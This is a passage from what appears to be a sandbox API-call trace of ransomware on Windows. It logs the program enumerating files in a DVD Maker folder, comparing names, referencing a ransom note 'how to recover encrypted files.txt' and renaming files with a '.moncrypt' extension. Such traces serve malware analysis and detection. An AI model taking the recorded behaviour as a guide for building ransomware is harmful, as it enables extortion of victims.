lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", cchWideChar=84, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv ", lpUsedDefaultChar=0x0) returned 84 [0057.419] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv ", lpUsedDefaultChar=0x0) returned 4 [0057.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 0x54e280 [0057.419] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.419] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.419] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.419] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", dwFileAttributes=0x20) returned 0 [0057.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.420] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.moncrypt")) returned 0 [0057.420] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.420] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.420] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.420] GlobalUnlock (hMem=0x44000c) returned 0 [0057.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.420] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.420] GlobalUnlock (hMem=0x44000c) returned 0 [0057.420] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.420] GlobalUnlock (hMem=0x440004) returned 0 [0057.420] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.420] CharLowerBuffW (in: lpsz="BabyBoyMainToNotesBackground_PAL.wmv", cchLength=0x24 | out: lpsz="babyboymaintonotesbackground_pal.wmv") returned 0x24 [0057.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmvi", lpUsedDefaultChar=0x0) returned 88 [0057.422] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmvi", lpUsedDefaultChar=0x0) returned 4 [0057.422] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.422] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.422] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.422] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.422] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.423] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.423] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.moncrypt")) returned 0 [0057.423] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0057.423] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.423] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.423] GlobalLock (hMem=0x440004) returned 